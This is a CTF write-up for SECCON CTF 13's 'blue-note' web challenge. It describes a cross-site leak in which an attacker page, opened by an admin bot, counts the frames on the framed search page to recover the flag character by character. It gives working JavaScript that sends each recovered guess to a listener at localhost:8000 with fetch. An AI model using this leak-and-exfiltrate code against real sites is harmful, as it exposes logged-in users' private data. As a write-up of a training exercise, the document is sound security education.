SECCON CTF 13 決勝観戦CTF challenges
These are my writeups for the SECCON CTF 13 決勝観戦CTF challenges. The event took place from Sat, 1 Mar. 2025 11:00 JST until Sun, 2 Mar. 2025 16:00 JST.
SECCON CTF 13 決勝観戦CTF blue-note
This is a writeup for the SECCON CTF 13 決勝観戦CTF blue-note challenge.
Challenge notes
Here’s the challenge description:
blue-note 100 pts (6 solves) Web
Author: minaminao
🎷🎶
Files
The archive blue-note.tar.gz
contains the following files:
blue-note/
├── .gitignore
├── compose.yaml
├── bot/
│ ├── .dockerignore
│ ├── Dockerfile
│ ├── bot.js
│ ├── index.js
│ ├── package-lock.json
│ ├── package.json
│ └── public/
│ └── index.html
└── web/
├── .dockerignore
├── Dockerfile
├── index.js
├── package-lock.json
├── package.json
└── views/
├── index.ejs
└── note.ejs
Initial analysis
The blue-note
challenge consists of two components:
- There’s a web server at
web/index.js
runningFastify
- There’s an
admin
bot atbot/index.js
that you can tell to visit any arbitrary address
Web server
The web server has the following paths:
Endpoint | Description | Access |
---|---|---|
/ |
Main page with search (q= ) |
Public |
/note/1 |
“This is a note” | Public |
/note/2 |
“This is another note” | Public |
/note/3 |
Contains the flag | Admin only |
/admin |
Authentication endpoint (secret= ) |
Public |
Bot behavior
The bot (bot/bot.js
) performs these actions:
- The bot authenticates as an administrator by visiting
/admin?secret=$SECRET
. - It then visits any address that you give it.
- It clicks a button on this page.
- It then waits 120 seconds and exits.
The goal is to extract the flag from the /note/3
note.
Cross-site leak vulnerability
The /
address lets you embed it as an iframe on any other page.
This vulnerability is called a Cross Site Script Inclusion (XSSI) vulnerability.
The main page displays all notes using <iframe>
tags. If you’re logged in as
an administrator, the number of <iframe>
tags (3) differs from the number
of <iframe>
tags when you’re not logged in (2).
Combined with the fact that you can search for notes, you can try to guess the content of the note and see how many frames you can count. Here’s how the frames are rendered:
<% for (const note of notes) { %>
<iframe src="/note/<%= note.id %>" style="border: 2px dashed #0172ad"></iframe>
<% } %>
The search parameter q
lets you search notes and matches both their titles
and contents. By building up the flag character by character in the search query,
you can check whether the bot browser renders 2 or 3 iframes.
This vulnerability is called a cross-site leak vulnerability. Paired with the XSSI vulnerability, you can create a malicious page that the bot visits. The page counts how many iframes are rendered in the bot browser and sends this count to a malicious third party.
Frame counter
Here’s the code that runs on the page that the bots visits after authenticating.
The function tryFrame()
tells the iframe element in the iframe
variable to visit the index page at /
.
After 500 ms the function then returns the number of iframes on the target
page.
async function tryFrame(iframe, candidate) {
const target = `http://localhost:3333/?q=${candidate}`;
return new Promise((resolve) => {
iframe.setAttribute("src", target);
iframe.onload = () => {
const count = window.frames[0].frames.length;
resolve(count);
};
setTimeout(() => {
resolve(0);
}, 500);
});
}
The function slap()
builds up the query character by character and
tries to get the secret flag from the third note by calling tryFrame()
:
async function slap() {
// Create constant `printable`, an array containing all printable ASCII strings
// exclude strings that are somehow relevant in URL encoding
const printable = [];
for (let i = 32; i < 127; i++) {
const c = String.fromCharCode(i);
if ("+ #!&".includes(c)) continue;
printable.push(c);
}
const iframe = document.createElement("frame");
document.body.appendChild(iframe);
// Define string candidate,
// Start with candidate = "Alpaca{"
let candidate = "Alpaca{";
// With ATTEMPTS attempts,
const ATTEMPTS = 30;
// For each character in printable,
// Append it to the candidate
// use tryFrame to analyze the number of iframes
// If iFrame count is > 0, this is the candidate. Append this character to candidate
// go back to start of while loop
for (let i = 0; i < ATTEMPTS; i++) {
for (const p of printable) {
const target = candidate + p;
const count = await tryFrame(iframe, target);
if (count == 0) continue;
const url = `http://localhost:8000/?q=${target}&result=${count}`;
await fetch(url, { mode: "no-cors" });
candidate += p;
break;
}
}
}
Knowing that the flag format is Alpaca{...}
, I set the candidate
variable
to already start with Alpaca{
to save time.
The payload then successfully steals the flag and sends it to
http://localhost:8000/q=${target}
where socat
sits and prints out all
request headers.